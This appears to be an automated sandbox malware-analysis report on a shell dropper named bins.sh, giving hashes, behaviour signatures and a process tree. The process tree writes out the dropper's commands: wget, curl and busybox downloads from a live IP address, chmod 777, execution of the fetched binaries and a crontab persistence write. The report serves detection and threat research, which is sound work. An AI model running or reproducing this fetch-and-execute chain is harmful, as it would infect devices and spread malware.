Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 05:09

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3161c78707f178deb4c81f884eb712fc

  • SHA1

    823bd6621021135792463154ec8887b83970fe1a

  • SHA256

    d16d7fa2defffc526b1f8dcbe3f082ac5cd8d1015d2bcda576076b922eea8d30

  • SHA512

    ed1bbdc75c2aaccc1993ec236a20df1126eeac8b163258f90dd688b64654c7dea551d09fa356355f51e8d16a4764514cdd35b5997cd8844aaec73361ed0b160a

  • SSDEEP

    192:ZwEmNFBkT9fnNQs+E+9Q8bcfnPa2og8V4brwEmNFKVfnNQs1AQ88fnPa2sg8q:ZwEmNFBkT9fnNQs+E+Ttg8V4brwEmNFy

Malware Config

Signatures

  • Contacts a large (2223) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:739
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:742
        • /usr/bin/wget
          wget http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:747
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:768
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:779
        • /bin/chmod
          chmod 777 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • File and Directory Permissions Modification
          PID:785
        • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          ./d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:787
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:789
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:790
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:792
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:793
              • /bin/rm
                rm d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
                2⤵
                  PID:804
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
                  2⤵
                    PID:889
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
                    2⤵
                      PID:891
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
                      2⤵
                      • Writes file to tmp directory
                      PID:903
                    • /bin/chmod
                      chmod 777 kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
                      2⤵
                      • File and Directory Permissions Modification
                      PID:915
                    • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
                      ./kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
                      2⤵
                      • Executes dropped EXE
                      PID:917
                    • /bin/rm
                      rm kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
                      2⤵
                        PID:919
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
                        2⤵
                          PID:920
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
                          2⤵
                            PID:926
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
                            2⤵
                            • Writes file to tmp directory
                            PID:927
                          • /bin/chmod
                            chmod 777 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
                            2⤵
                            • File and Directory Permissions Modification
                            PID:932
                          • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
                            ./4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
                            2⤵
                            • Executes dropped EXE
                            PID:933
                          • /bin/rm
                            rm 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
                            2⤵
                              PID:935
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                              2⤵
                                PID:940

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /var/spool/cron/crontabs/tmp.USIQdw

                              Filesize

                              210B

                              MD5

                              4fe2ad83589d6a90ee24370b3770a6de

                              SHA1

                              de296bc06add14ffe6dd68adc4c665bd2622e734

                              SHA256

                              befc7c85a51638d5d9d791b7ca8dd9e5129e51a7aa0345e0af185ef39169b692

                              SHA512

                              d7423692c58a0041175c9ae8649763f346bcf0942383861ed5838b6d807ce59985c8538ed20c00635ac5ceefd815a5994a5b4c5e43ba99d005d8313e62eca75e